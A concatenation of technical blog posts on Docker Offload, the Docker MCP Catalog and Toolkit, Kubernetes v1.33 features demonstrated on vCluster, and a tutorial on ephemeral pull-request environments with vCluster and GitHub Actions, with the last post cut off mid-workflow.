![](/img/blog/ditch-the-overheating-laptop-supercharge-your-docker-workflow-with-docker-offload/13f9e4ad-52a3-4879-9254-5cdd6afd936d.png align="center")

In both cases, you'll see the output as if the container ran locally, but it's all happening on the powerful cloud machine.

#### 3\. Stop Docker Offload

When you're finished, you can switch back to local execution by running:

```plaintext
docker offload stop
```

This will tear down the cloud environment, ensuring you don't incur any additional costs.

4. **Checking Docker Offload Run history**
    
    You can also go to your account under your Docker account and see the run history for the offload to track the usage. You can set up the usage limits to avoid any cost surprises.
    
    ![](/img/blog/ditch-the-overheating-laptop-supercharge-your-docker-workflow-with-docker-offload/c1d5fc28-6f5f-4bab-8f86-eed0c9954331.png align="center")
    

---

### Real-World Use Cases

![](/img/blog/ditch-the-overheating-laptop-supercharge-your-docker-workflow-with-docker-offload/ab1c410f-3c46-4c85-8477-21964b8e40f9.png align="left")

* **AI/ML Development:** Easily train or run inference on large models without the need for an expensive local GPU.
    
* **High-Velocity Development:** Accelerate CI/CD pipelines and local development feedback loops by offloading builds to a powerful, consistent environment.
    
* **On-Demand Compute:** Quickly spin up a resource-heavy container for a short task (like data processing or video rendering) without impacting your local machine's performance.
    
* **Developer Experience:** Provide every developer on a team with the same powerful environment, regardless of their local hardware, eliminating "it works on my machine" issues.
    

## Conclusion

Docker Offload is a powerful feature that bridges the gap between local convenience and cloud-scale resources. It's a testament to Docker's ongoing commitment to making containerization accessible and efficient for every developer. So next time your laptop's fans start spinning up, remember you have a new, more powerful option. What do you use for your development workflows when you need these big machines but want the same developer experience?

---

# Docker MCP Catalog: Finding the Right AI Tools for Your Project

- Canonical: https://blog.kubesimplify.com/docker-mcp-catalog
- Published: 2025-06-26
- Summary: This blog describes what Docker MCP is and how it

As large language models (LLMs) evolve from static text generators to dynamic agents capable of executing actions, there's a growing need for a standardized way to let them interact with external tooling securely. That’s where [Model Context Protocol](https://modelcontextprotocol.io/introduction) (MCP) steps in, a protocol designed to turn your existing APIs into AI-accessible tools. Think of MCP as the missing middleware between LLMs and the real-world functionality you’ve already built. Instead of doing the prompt hacks or building custom plugins for each model, MCP allows you to define your capabilities as structured tools that any compliant AI client can discover, invoke, and interact with safely and predictably. While the protocol is still maturing and the documentation can be opaque, the underlying value is clear: MCP turns your backend into a toolbox for AI agents. Whether you're integrating scraping APIs, financial services, or internal business logic, MCP offers a portable, reusable, and scalable pattern for AI integrations. In this blog, we’ll walk through Docker Desktop's latest MCP client-server feature and explore how you can install an MCP server and use that directly from your LLM tool.  

![](/img/blog/docker-mcp-catalog/8f4837fc-24e4-41f7-8d83-227da002418b.png align="center")

### Enter Docker!

* ![](/img/blog/docker-mcp-catalog/ec056820-0667-4c3f-9d46-775f615dea58.png align="center")
    

**Why is Docker a game-changer for AI, and specifically for MCP tools?**

[Docker](https://www.docker.com/) has already proven to be the de facto standard for creating and distributing containerized applications. Its user experience is the key reason why I and millions of other developers use Docker today. Over the years, Docker has evolved to cater to the needs of developers, and it entered the AI game too. With so many MCP servers having a set of configurations living on separate GitHub repositories and different installation methods, Docker has again changed the game on how we think and run these MCP servers and connect to MCP clients like Claude.

Now we already have MCP that solves the problem of how Agents talk with the tools. In simple terms, your LLM models are capable of connecting to your tools and performing a wider set of actions. But how simple it is? There are 100s of MCP servers out there, each having its configurations and its own GitHub repository.

Docker has introduced the [**Docker MCP Catalog and Toolkit**](https://www.docker.com/products/mcp-catalog-and-toolkit/) (currently in Beta). This is a comprehensive solution designed to streamline the developer experience for building and using MCP-compatible tools.  
We can simply go to the extensions and install the Docker MCP toolkit.  

![](/img/blog/docker-mcp-catalog/9643e08a-8d53-4f78-926b-c25aed281f7c.png align="center")

**What is the Docker MCP Catalog?**

The Docker MCP Catalog is a centralized, trusted registry that offers a curated collection of MCP-compatible tools packaged as Docker images. Integrated with Docker Hub and available directly through Docker Desktop, it simplifies the discovery, sharing, and execution of over 100 verified MCP servers from partners like Stripe, Grafana etc. By running each tool in an isolated container, the catalog addresses common issues such as environment conflicts, inconsistent platform behaviour, and complex setups, ensuring portability, security, and consistency across systems. Developers can instantly pull and run these tools using Docker CLI or Desktop, with built-in support for agent integration via the MCP Toolkit

![](/img/blog/docker-mcp-catalog/679dcf66-5fae-4e18-b998-c962d2703104.png align="center")

* **Centralized Discovery:** A dedicated place (often under the `mcp/` on Docker Hub ) to find a growing list of MCP servers. Docker has mentioned collaborations with providers like Stripe, Elastic, and Neo4j, indicating a rich ecosystem of tools.
    
* **Verified and Versioned Tools:** The catalog aims to provide access to tools from verified publishers and ensures that tools are versioned, allowing developers to rely on specific, stable releases.
    
* **Easy Distribution :** Easy pull based distribution using Docker’s infra
    

**What is the MCP Toolkit?**

The **Docker MCP Toolkit** is a powerful companion to the MCP Catalog that streamlines the setup, management, and execution of containerized MCP servers and their integration with AI agents. It eliminates the need for manual configurations by offering one-click setup, secure defaults, and built-in compatibility with popular LLM-based clients like Docker gordon, Claude Desktop, Cursor, and [Continue.dev](http://Continue.dev). Acting as both an aggregator for MCP servers and a gateway for connected clients, the toolkit enables developers to browse, configure, and launch tools directly from Docker Desktop. Security is a core focus, all mcp servers are signed and includes SBOMs for transparency. The MCP Toolkit makes it easy to discover and run tools from the catalog, connect clients like Gordon or Docker AI Agent, and build secure, agent-driven workflows with minimal overhead.

Key functionalities of the MCP Toolkit:

* **Simplified Installation:** Easily pull and run MCP tools (servers) from the catalog, often with just a few clicks or simple commands.
    
* **Secure Credential Management:** One of the major pain points in tool integration is handling authentication securely. The MCP Toolkit often includes features like OAuth-based authentication and secure storage for credentials, preventing the risky practice of hardcoding secrets.
    
* **Isolated and Secure Execution:** Leverages Docker's containerization to run tools in isolated environments, enhancing security and stability.
    
* **Client Integration:** Facilitates connecting these MCP tools/servers to various AI agent clients (e.g., popular AI models or development environments like Claude, Cursor) without needing to rewrite code for each client.
    

Together, the Docker MCP Catalog and Toolkit provide a foundational layer for developers, making it easier to find, safer to use, and more scalable to integrate external tools into their AI agent applications.  

![](/img/blog/docker-mcp-catalog/9991a34f-e936-48e2-a2a7-a3e8fd0e08b3.png align="center")

### What You Can Do with the Catalog

### Let’s see it in action:

There are four MCP Clients available in the Docker Desktop  
1\. Gordon  
2\. Claude Desktop  
3\. Cursor  
4\. Continue.dev

![](/img/blog/docker-mcp-catalog/f6216f26-39a7-4dbe-858d-5da1dbc11208.png align="center")

You can simply connect to any of these, but we are connecting to the Claude desktop. After installing, click on the Connect button on the Docker Desktop app. It automatically creates a configuration json file and puts it in the right place. When you restart Claude, you will be able to see the MCP\_Docker with tools. Here tools will be the MCP servers that you have installed from the catalog.

![](/img/blog/docker-mcp-catalog/2d3debe3-4c2c-439c-8da4-fb60c0ec1c3b.png align="center")

![](/img/blog/docker-mcp-catalog/efeb24d4-f669-46de-912c-b54547b2f414.png align="center")

Now you can install MCP servers, in this case, we have installed docker mcp server.

![](/img/blog/docker-mcp-catalog/d6d5c2f2-bbba-4624-8c73-9799cfd04f4c.png align="center")

Once this is enabled, you can go to Claude and simply use human language, which would be able to interact with the tools. Here you can see 1 tool, and that tool will be listed as part of Claude desktop too.

Then let’s perform a simple task of creating an nginx container with the help of the Claude desktop:

![](/img/blog/docker-mcp-catalog/52b0ee5c-bd0e-4b38-a478-0339fcda8296.png align="center")

As soon as you run the command, it pops up a dialog box to ask permission for using the external integration, that is Docker in this case.

![](/img/blog/docker-mcp-catalog/c3ede2d0-f4da-4b61-a6f2-1caba584b859.png align="center")

So we can see below that the nginx container has been created with the ID 6d87626dcad5.

![](/img/blog/docker-mcp-catalog/b060ae2a-96cd-49de-9731-10ef8d1d2219.png align="center")

## Conclusion

Docker has always believed in streamlining the developer workflow; they have been a one-stop solution for packaging applications as Images and then running them as containers with ease. They also let you build and push WASM artifacts, and now with the AI wave, they are simplifying the whole AI ecosystem, keeping the same developer experience and fluid UI. In the future, we will build an MCP server too and then see how that works, till then let me know your favourite MCP server and what you think about Docker MCP catalog and toolkit!

---

# Kubernetes v1.33: Key Features, Updates, and What You Need to Know

- Canonical: https://blog.kubesimplify.com/kubernetes-v133-key-features-updates-and-what-you-need-to-know
- Published: 2025-06-10
- Summary: \"Kubernetes v1.33: Key Features, Updates, and What You Need to Know

The Kubernetes v1.33, codenamed "Octarine: The Color of Magic" introduces 64 advancements.This release features 18 graduating to stable, 20 entering beta, and 24 new alpha features 1, with a strong emphasis on improving security, enhancing usability, improving scalability, and refining the overall developer experience.

In this blog, we’ll explore the top highlights of Kubernetes v1.33.

## **How to Try Out Kubernetes 1.33**

One of the biggest questions people often have is how they can try out the new Kubernetes version as soon as it is released. Cloud providers take some time to update the Kubernetes version, and until then, you can use vCluster. vCluster allows you to create a virtual cluster running in any version of vanilla Kubernetes, including Kubernetes version 1.33(the latest version at the time of writing this blog) with very simple steps.

Create a `vcluster.yaml` file:

```yaml
controlplane:
  distro:
    k8s:
      version:v1.33.0Copy
```

Then, create the virtual cluster:

```lua
vcluster create k8s133 -f vcluster.yamlCopy
```

Ensure your context is set to the virtual cluster and verify the nodes:

```rust
kubectl get nodes
NAME              STATUS   ROLES    AGE   VERSION
live-demo-e0is0   Ready    <none>   13m   v1.33.0
This setup enables you to test new features and plan upgrades accordingly.

  Warning  FailedScheduling        16m                default-scheduler        0/3 nodes are available: pod has unbound immediate PersistentVolumeClaims. preemption: 0/3 nodes are available: 3 Preemption is not helpful for scheduling.
  Normal   Scheduled               16m                default-scheduler        Successfully assigned vcluster-demo4/demo4-0 to live-demo-e0is1
  Normal   SuccessfulAttachVolume  16m                attachdetach-controller  AttachVolume.Attach succeeded for volume "pvc-c615f428-70f6-4921-88a9-7ab26349ad00"
  Normal   Pulled                  16m                kubelet                  Container image "ghcr.io/loft-sh/vcluster-pro:0.24.0" already present on machine
  Normal   Created                 16m                kubelet                  Created container vcluster-copy
  Normal   Started                 16m                kubelet                  Started container vcluster-copy
  Normal   Pulling                 16m                kubelet                  Pulling image "registry.k8s.io/kube-controller-manager:v1.33.0"
  Normal   Pulled                  16m                kubelet                  Successfully pulled image "registry.k8s.io/kube-controller-manager:v1.33.0" in 2.406s (2.406s including waiting). Image size: 27635030 bytes.
  Normal   Created                 16m                kubelet                  Created container kube-controller-manager
  Normal   Started                 16m                kubelet                  Started container kube-controller-manager
  Normal   Pulling                 16m                kubelet                  Pulling image "registry.k8s.io/kube-apiserver:v1.33.0"
  Normal   Pulled                  16m                kubelet                  Successfully pulled image "registry.k8s.io/kube-apiserver:v1.33.0" in 2.267s (2.267s including waiting). Image size: 30071307 bytes.
  Normal   Created                 16m                kubelet                  Created container kube-apiserver
  Normal   Started                 16m                kubelet                  Started container kube-apiserver
  Normal   Pulled                  15m                kubelet                  Container image "ghcr.io/loft-sh/vcluster-pro:0.24.0" already present on machine
  Normal   Created                 15m                kubelet                  Created container syncer
  Normal   Started                 15m                kubelet                  Started container syncerCopy
```

**Note:** While vCluster allows you to experiment with the latest Kubernetes features, some functionalities, particularly those that interact directly with the underlying host's operating system, kernel, kubelet, or hardware, might have limited or no effect when the host cluster is running an older Kubernetes version. Let’s test out a couple of features from Kubernetes version 1.33 using vCluster.

First let's talk some of the cool stuff from 1.33 and then we will try a couple of features on vCluster 1.33

### **In-Place Pod Vertical Scaling (Beta)**

In Kubernetes v1.33, the long‐awaited in-place Pod resize feature has graduated from alpha to beta and is now enabled by default. Instead of restarting Pods to adjust CPU or memory, you can simply patch the Pod’s resources via the new resize subresource and monitor its progress through two Pod conditions (PodResizePending and PodResizeInProgress). After its alpha debut in v1.27, resizing sidecar containers in place is now supported in beta. By reducing disruption and enabling more efficient resource use, especially for stateful or long-running workloads, this beta release lays the groundwork for future integration with the Vertical Pod Autoscaler and further production hardening based on community feedback.

```css
kubectl edit pod <pod-name> --subresource resizeCopy
```

Read more about this feature [here.](https://kubernetes.io/blog/2025/05/16/kubernetes-v1-33-in-place-pod-resize-beta/)

### **User namespaces on by default**

Kubernetes v1.33 now enables user namespaces by default, a significant security feature that enhances isolation between containers and the host system. User namespaces work by mapping user and group IDs (UIDs/GIDs) within a container to different, unprivileged UIDs/GIDs on the host. This is crucial because it prevents lateral movement between containers and increases host isolation, meaning that even if a container is compromised and runs as root internally, it has no elevated privileges on the host. This default enablement in Kubernetes 1.33 allows pods to opt-in to this stronger security posture without needing to enable specific feature flags, provided the underlying stack requirements are met.

To enable user namespaces in a pod you use the `hostUsers` value and set it to `false`.

Example:

```yaml
apiVersion: v1
kind:Pod
metadata:
  name: userns
spec:
  hostUsers: false
  containers:
  - name: shell
    command: ["sleep", "infinity"]
    image: debianCopy
```

User namespaces allow you to run as root inside the container, but not have privileges in the host.

### **Job Success Policy**

In Kubernetes 1.33, the Job SuccessPolicy feature has reached General Availability, offering more flexible completion criteria for batch workloads. This feature is particularly important for scenarios like leader-follower patterns (e.g., MPI used in scientific simulations, AI/ML, and HPC) where the overall job can be considered successful even if not all individual pods or indexes complete successfully. Instead of requiring every pod to succeed, users can now define specific rules, such as a minimum number of successfully completed indexes or the success of a specific leader index, allowing for early exit and resource cleanup once the defined success criteria are met, thereby optimizing resource usage and accommodating more complex batch processing needs.

### **HorizontalPodAutoscaler Configurable Tolerance**

This Alpha feature lets you control how quickly your applications scale up or down. Before, there was a fixed 10% buffer for all applications before they would scale. Now, you can set this buffer specifically for each application. This means you can make your application scale up very quickly if there's a sudden increase in traffic (by setting a low or zero buffer for scaling up) and scale down more slowly to avoid too many changes if traffic drops a little (by setting a higher buffer for scaling down). This gives you better control, especially for large applications, helping to keep them stable and avoid unnecessary changes when small things fluctuate. You'll need to turn on the "HPAConfigurableTolerance" as a [feature](https://kubernetes.io/docs/reference/command-line-tools-reference/feature-gates/) [gate](https://kubernetes.io/docs/reference/command-line-tools-reference/feature-gates/).

Example - an HPA with a tolerance of 5% on scale-down, and 1% tolerance on scale-up, would look like the following:

```yaml
apiVersion: autoscaling/v2
kind: HorizontalPodAutoscaler
metadata:
  name: demo
spec:
  ...
  behavior:
    scaleUp:
      tolerance: 0.01
    scaleDown::
      tolerance: 0.05Copy
```

### **New configuration option for kubectl with .kuberc for user preferences**

In v1.33, kubectl introduces an alpha feature that lets you keep aliases, default flags (e.g. server-side apply), and other preferences in a separate `~/.kube/kuberc` file, rather than crowding your kubeconfig.

### **New features in DRA**

Also in Kubernetes version 1.33, Dynamic Resource Allocation (DRA), a flexible way for applications to request specific hardware like GPUs, is getting better even though it's still in beta. A new beta update lets device drivers share more detailed status information. Several new early-test features have also been added:

* the ability to split single devices into smaller usable parts ("Partitionable Devices")
    
* a way to mark some devices as unusable unless an application specifically allows it ("Device Taints and Tolerations")
    
* an option for users to list their preferred devices in order ("Prioritized List")
    
* improved security for administrative access to devices.
    

These changes aim to make it easier and more efficient to use specialized hardware in Kubernetes, with the goal of making DRA fully available soon. DRA is supposed to go GA in Kubernetes 1.34.

### **SideCar Container graduates**

Launched in 1.28 as an alpha feature, sidecar finally graduated to stable in 1.33. These containers run alongside your primary application container within the same Pod. Kubernetes implements sidecars as a special type of init container configured with `restartPolicy: Always`. This ensures they start before your main application containers, run for the entire lifecycle of the Pod, and are automatically terminated after the main containers finish. This native support means you can rely on sidecars to use probes (startup, readiness, and liveness) to signal their health, and their memory (OOM) scores are adjusted like primary containers to prevent them from being terminated too early under memory pressure.

## **Kubernetes 1.33 features on vCluster**

Now we’ll try these two features using vCluster.

* Ordered Namespace Deletion
    
* ClusterTrustBundle
    

To enable these features we’ll need to set the following feature flags:

```yaml
controlPlane:
  distro:
    k8s:
      version: v1.33.0
      apiServer:
        extraArgs:
          - "--feature-gates=OrderedNamespaceDeletion=true"
          - "--feature-gates=ClusterTrustBundle=true
ClusterTrustBundleProjection=true"
          - "--runtime-config=certificates.k8s.io/v1beta1/clustertrustbundles=true"Copy
```

##### **Command**

```lua
vcluster create k8s-1-33-dev --namespace vcluster-133-ns -f kube133.configCopy
```

##### **Output**

```sql
vcluster list
     NAME     |    NAMESPACE    | STATUS  | VERSION | CONNECTED |    AGE      
  ---------------+-----------------+---------+---------+-----------+-------------
    k8s-1-33-dev | vcluster-133-ns | Running | 0.24.0  | True      | 5h47m46s   Copy
```

### **Ordered Namespace Deletion**

It is an alpha feature that brings in an opinionated deletion process in the Kubernetes namespace deletion to ensure secure deletion of resources within a namespace. The current deletion process is semi-random, which may lead to unintended behavior, such as Pods persisting after the deletion of their associated NetworkPolicies. If this feature is turned on, the Pods will be deleted before other resources with logical and security dependencies. This design enhances the security and reliability of Kubernetes by mitigating risks arising from the non-deterministic deletion order. In order to enable this feature you need to enable the feature flag `"--feature-gates=OrderedNamespaceDeletion=true"`

Let’s create the pod

```yaml
apiVersion: v1
kind: Namespace
metadata:
  name: demo-order
---
apiVersion: v1
kind: Pod
metadata:
  name: demo-pod
  namespace: demo-order
spec:
  containers:
  - name: pause
    image: k8s.gcr.io/pause:3.6
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: deny-all
  namespace: demo-order
spec:
  podSelector: {}
  policyTypes:
  - IngressCopy
```

This will create a namespace, Pod and a networkPolicy. Now in order to see the ordered deletion you can use any terminal in split view or just two terminal windows so that you can watch networkPolicy and pods.

Once you delete the namespace, you will observe that the pod gets deleted first and then the namespace, and see similar results as in the below image.

![](https://cdn.prod.website-files.com/65a5be30bf4809bb3a2e8aff/683475a3132a6b86655fac71_73592eb6-348b-43bd-b2ab-dbabe98a8fe2.png align="left")

### **ClusterTrustBundle**

The ClusterTrustBundle is a beta feature in Kubernetes 1.33, part of the `certificates.k8s.io/v1beta1` API group, used to manage cluster-scoped X.509 trust anchors. It allows you to publish CA certificates that in-cluster components (e.g., webhooks, image registries, or workloads) can use for certificate verification.

Let’s try a sample and run it on vCluster:

Download a demo CA

```bash
curl -s https://letsencrypt.org/certs/isrgrootx1.pem -o isrgrootx1.pemCopy
```

Parsing check

```scss
openssl x509 -in isrgrootx1.pem -noout -textCopy
```

Use above and create a manifest as below:

```bash
apiVersion: certificates.k8s.io/v1beta1
kind: ClusterTrustBundle
metadata:
  name: letsencrypt-isrg-root-x1
spec:
  # Global (signer-unlinked) bundle: visible to all workloads
  trustBundle: |
    -----BEGIN CERTIFICATE-----
    MIIFazCCA1OgAwIBAgIRAIIQz7DSQONZRGPgu2OCiwAwDQYJKoZIhvcNAQELBQAw
    TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
    cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMTUwNjA0MTEwNDM4
    WhcNMzUwNjA0MTEwNDM4WjBPMQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJu
    ZXQgU2VjdXJpdHkgUmVzZWFyY2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBY
    MTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAK3oJHP0FDfzm54rVygc
    h77ct984kIxuPOZXoHj3dcKi/vVqbvYATyjb3miGbESTtrFj/RQSa78f0uoxmyF+
    0TM8ukj13Xnfs7j/EvEhmkvBioZxaUpmZmyPfjxwv60pIgbz5MDmgK7iS4+3mX6U
    A5/TR5d8mUgjU+g4rk8Kb4Mu0UlXjIB0ttov0DiNewNwIRt18jA8+o+u3dpjq+sW
    T8KOEUt+zwvo/7V3LvSye0rgTBIlDHCNAymg4VMk7BPZ7hm/ELNKjD+Jo2FR3qyH
    B5T0Y3HsLuJvW5iB4YlcNHlsdu87kGJ55tukmi8mxdAQ4Q7e2RCOFvu396j3x+UC
    B5iPNgiV5+I3lg02dZ77DnKxHZu8A/lJBdiB3QW0KtZB6awBdpUKD9jf1b0SHzUv
    KBds0pjBqAlkd25HN7rOrFleaJ1/ctaJxQZBKT5ZPt0m9STJEadao0xAH0ahmbWn
    OlFuhjuefXKnEgV4We0+UXgVCwOPjdAvBbI+e0ocS3MFEvzG6uBQE3xDk3SzynTn
    jh8BCNAw1FtxNrQHusEwMFxIt4I7mKZ9YIqioymCzLq9gwQbooMDQaHWBfEbwrbw
    qHyGO0aoSCqI3Haadr8faqU9GY/rOPNk3sgrDQoo//fb4hVC1CLQJ13hef4Y53CI
    rU7m2Ys6xt0nUW7/vGT1M0NPAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNV
    HRMBAf8EBTADAQH/MB0GA1UdDgQWBBR5tFnme7bl5AFzgAiIyBpY9umbbjANBgkq
    hkiG9w0BAQsFAAOCAgEAVR9YqbyyqFDQDLHYGmkgJykIrGF1XIpu+ILlaS/V9lZL
    ubhzEFnTIZd+50xx+7LSYK05qAvqFyFWhfFQDlnrzuBZ6brJFe+GnY+EgPbk6ZGQ
    3BebYhtF8GaV0nxvwuo77x/Py9auJ/GpsMiu/X1+mvoiBOv/2X/qkSsisRcOj/KK
    NFtY2PwByVS5uCbMiogziUwthDyC3+6WVwW6LLv3xLfHTjuCvjHIInNzktHCgKQ5
    ORAzI4JMPJ+GslWYHb4phowim57iaztXOoJwTdwJx4nLCgdNbOhdjsnvzqvHu7Ur
    TkXWStAmzOVyyghqpZXjFaH3pO3JLF+l+/+sKAIuvtd7u+Nxe5AW0wdeRlN8NwdC
    jNPElpzVmbUq4JUagEiuTDkHzsxHpFKVK7q4+63SM1N95R1NbdWhscdCb+ZAJzVc
    oyi3B43njTOQ5yOf+1CceWxG1bQVs5ZufpsMljq4Ui0/1lvh+wjChP4kqKOJ2qxq
    4RgqsahDYVvTH9w7jXbyLeiNdd8XM2w9U/t7y0Ff/9yi0GE44Za4rF2LN9d11TPA
    mRGunUHBcnWEvgJBQl9nJEiU0Zsnvgc/ubhPgXRR4Xq37Z0j4r7g1SgEEzwxA57d
    emyPxgcYxn/eR44/KJ4EBs+lVDR3veyJm+kXQ99b21/+jh5Xos1AnX5iItreGCc=
    -----END CERTIFICATE-----Copy
```

Apply the manifest

Command

```plaintext
kubectl apply -f bundle.yamlCopy
```

Output:

```bash
clustertrustbundle.certificates.k8s.io/letsencrypt-isrg-root-x1 createdCopy
```

```sql
kubectl get clustertrustbundle.certificates.k8s.io
NAME                       SIGNERNAME
letsencrypt-isrg-root-x1   <none>Copy
```

The above examples allow you to test at the API level some of the new features in Kubernetes 1.33 and how they work on vCluster.

## **Deprecated and Removed Features**

Endpoints API Deprecation: The traditional Endpoints API is deprecated in favor of EndpointSlices, which offer better scalability and support for modern features.

Removal of gitRepo Volume Type: The deprecated gitRepo volume type has been removed. Users should transition to alternatives like init containers with git clone.

## **Conclusion**

Kubernetes releases always come with many new features and this time is no different. Let us know which Kubernetes features you are most excited about. And do read the [official](https://kubernetes.io/blog/2025/04/23/kubernetes-v1-33-release/) [announcement](https://kubernetes.io/blog/2025/04/23/kubernetes-v1-33-release/) [post](https://kubernetes.io/blog/2025/04/23/kubernetes-v1-33-release/) from the release team. A huge thanks to all the members of the release team who helped with this amazing release. If you want to quickly try out Kubernetes 1.33, you can easily use vCluster.

---

# Ephemeral Pull Request environment using Vcluster.

- Canonical: https://blog.kubesimplify.com/ephemeral-pull-request-environment-using-vcluster
- Published: 2025-04-10

In a fast-paced development environment, having an isolated and ephemeral environment to test changes for every pull request (PR) is a game-changer. In this blog, I’ll walk you through setting up ephemeral PR environments using **vCluster**, enabling seamless testing of your application in a Kubernetes environment. We’ll also leverage GitHub Actions for automation, ensuring every labeled PR dynamically creates a vCluster, deploys the application, and cleans up upon merging or label removal.

Let’s dive into the **step-by-step guide**.

# **What is vCluster?**

[vCluster](https://www.vcluster.com/?__hstc=107455133.24d76b7b89d28afebee5af7771225ac7.1741672016640.1742467093098.1744283839944.5&__hssc=107455133.1.1744283839944&__hsfp=3213767220) is a technology that allows you to create lightweight, isolated Kubernetes clusters within a host cluster. These virtual clusters offer full Kubernetes functionality while being resource-efficient, making them ideal for scenarios like PR testing environments.

# **Why Ephemeral PR Environments?**

Ephemeral environments allow:

* Testing pull request changes in an isolated environment
    
* Quick validation without interfering with the main cluster
    
* Automatic cleanup post-testing
    

By leveraging **vCluster** and **GitHub Actions**, you can automate this workflow and ensure every PR gets its own dedicated environment.

# **Prerequisites:**

## **Kubernetes cluster**

You need to have a Kubernetes cluster, in this case I am using a DigitalOcean Kubernetes cluster but any should work. I am creating a realistic production scenario so for that I used a cluster that can create service type: LoadBalancer.

Command:

`kubectl get nodes`

Output:

```plaintext
kubectl get nodes
NAME              STATUS   ROLES    AGE   VERSION
live-demo-e0is0   Ready    <none>   19d   v1.31.1
live-demo-e0is1   Ready    <none>   19d   v1.31.1
live-demo-e0isz   Ready    <none>   19d   v1.31.1
```

## **Deploying Ingress controller**

Command

```plaintext
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.9.4/deploy/static/provider/cloud/deploy.yamlCopy
```

Output

```plaintext
kubectl get po,svc -n ingress-nginx
NAME                                           READY   STATUS      RESTARTS   AGE
pod/ingress-nginx-admission-create-lcb85       0/1     Completed   0          19d
pod/ingress-nginx-admission-patch-xl2fk        0/1     Completed   0          19d
pod/ingress-nginx-controller-79fcc99b4-7f7ls   1/1     Running     0          19d
```

Getting the LoadBalancer IP for the ingress controller:

Command:

`kubectl get svc -n ingress-nginx`

Output:

```plaintext
NAME                                         TYPE           CLUSTER-IP      EXTERNAL-IP      PORT(S)                      AGE
service/ingress-nginx-controller             LoadBalancer   10.109.28.126   209.38.160.229   80:31228/TCP,443:30435/TCP   19d
service/ingress-nginx-controller-admission   ClusterIP      10.109.15.162   <none>           443/TCP                      19dCopy
```

Domain mapping:

For our application we need dynamic ingress for testing so what we have done here is added the loadbalancer IP of the ingress controller as the A record to the Domain.

![](https://miro.medium.com/v2/resize:fit:1400/1*jdy54YTGLoCZ5z8sbTKDFg.png align="left")

## **Connect the Kubernetes cluster to the platform**

We will enable vCluster Pro in order to use templates and create the clusters. For simplicity, I am using my [vcluster.cloud](https://vcluster.cloud/) account and then creating the access key to login. In this way I don’t have to run any agent on the current cluster. You can either run vcluster platform start or sign up on [vCluster cloud](https://vcluster.cloud/) and once you login, you should be able to go to [access keys](https://www.vcluster.com/docs/platform/administer/users-permissions/access-keys?__hstc=107455133.24d76b7b89d28afebee5af7771225ac7.1741672016640.1742467093098.1744283839944.5&__hssc=107455133.1.1744283839944&__hsfp=3213767220) and create a short lived access key for the demo (remember to delete the key post demo for security reasons).

Command:

```plaintext
vcluster platform login https://saiyam.vcluster.cloud --access-key <your-access-key>
```

Output:

![](https://miro.medium.com/v2/resize:fit:1400/1*GvKM69qOfWnJyDg3xOSb9w.png align="left")

![](https://miro.medium.com/v2/resize:fit:1400/1*7ot2eV9DPIK1D4rxyy9HHA.png align="left")

Create a template under vCluster templates in the vCluster cloud platform instance.

```plaintext
sync:
  fromHost:
    ingressClasses:
      enabled: true
  toHost:
    ingresses:
      enabled: true
external:
  platform:
    autoSleep:
      afterInactivity: 3600  # Automatically sleep after 1 hour of inactivity
```

Until now we have a Kubernetes cluster with ingress controller installed and the Public IP of the nginx controller pointed to our domain.

We also have logged into the platform using the access keys created using vcluster.cloud. Now let’s see the demo application that we have.

# **Demo Application**

![](https://miro.medium.com/v2/resize:fit:1400/1*gkGYH14pe7GyJMBnnPKTFA.png align="left")

![](https://miro.medium.com/v2/resize:fit:1400/1*32RbefKu33wZSF8n_RAGbw.png align="left")

The scenario we are trying to achieve here involves a sample application deployed onto a Kubernetes cluster. Often, in organizations, new features or bug fixes need to be deployed and tested before being merged into the main branch. In this case, a developer raises a pull request and adds a label to test it. Based on GitHub Actions, the application is built, and then a deployment, service, and ingress Kubernetes object file are generated and pushed to a new branch. A virtual cluster is created, and the new deployment file is applied, allowing the developer to test and verify the new application deployment.

Let’s see how this looks in practice.

GitHub repo — [https://github.com/saiyam1814/vcluster-demo](https://github.com/saiyam1814/vcluster-demo)

The application for this demo is a simple Go-based HTTP server:

```plaintext
package main
import (
	"fmt"
	"net/http"
)
func handler(w http.ResponseWriter, r *http.Request) {
	fmt.Fprintln(w, "Hellooo, World for blog!!")
}
func main() {
	http.HandleFunc("/", handler)
	fmt.Println("Starting server on :8080")
	err := http.ListenAndServe(":8080", nil)
	if err != nil {
		panic(err)
	}
}
```

# **Step 1: Setting Up the Deployment Template**

The application is packaged as a Kubernetes deployment and exposed via a service and ingress. The deployment uses Jinja2 templating to inject dynamic values like the image tag and ingress host.

**tmpl/deploy.j2:**

```plaintext
apiVersion: apps/v1
kind: Deployment
metadata:
  name: hello-world
  labels:
    app: hello-world
spec:
  replicas: 1
  selector:
    matchLabels:
      app: hello-world
  template:
    metadata:
      labels:
        app: hello-world
    spec:
      containers:
      - name: hello-world
        image: {{ image_deploy_tag }}
        ports:
        - containerPort: 8080
---
apiVersion: v1
kind: Service
metadata:
  name: hello-world
spec:
  ports:
  - port: 80
    targetPort: 8080
  selector:
    app: hello-world
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: hello-world
spec:
  ingressClassName: nginx
  rules:
  - host: {{ ingress_tag }}
    http:
      paths:
      - pathType: Prefix
        path: "/"
        backend:
          service:
            name: hello-world
            port:
              number: 80
```

# **Step 2: Automating with GitHub Actions**

GitHub Actions handles the workflow from building the application to deploying it on a vCluster.

## **PR Workflow**

**File: .github/workflows/build-and-deploy.yml** This workflow:

1. Builds the application with the latest changes made by the developer using ko
    
2. Pushes the container image to docker hub account(credentials for which should be set in the Actions secret as described previously)
    
3. Creates a deployment manifest using Jinja2 — The action will replace the ingress host and the deployment image variables mentioned in the jinja template and then push to a new feature branch.
    
4. Creates a vCluster.
    
5. Deploys the application to the vCluster.
    
6. Exposes it via ingress for testing.
    

```plaintext
name: Build and Deploy with vCluster
```

```plaintext
on:
  pull_request:
    types: [labeled]jobs:
  build-and-deploy:
    if: ${{ github.event.label.name == 'test' }}
    runs-on: ubuntu-latest    steps:
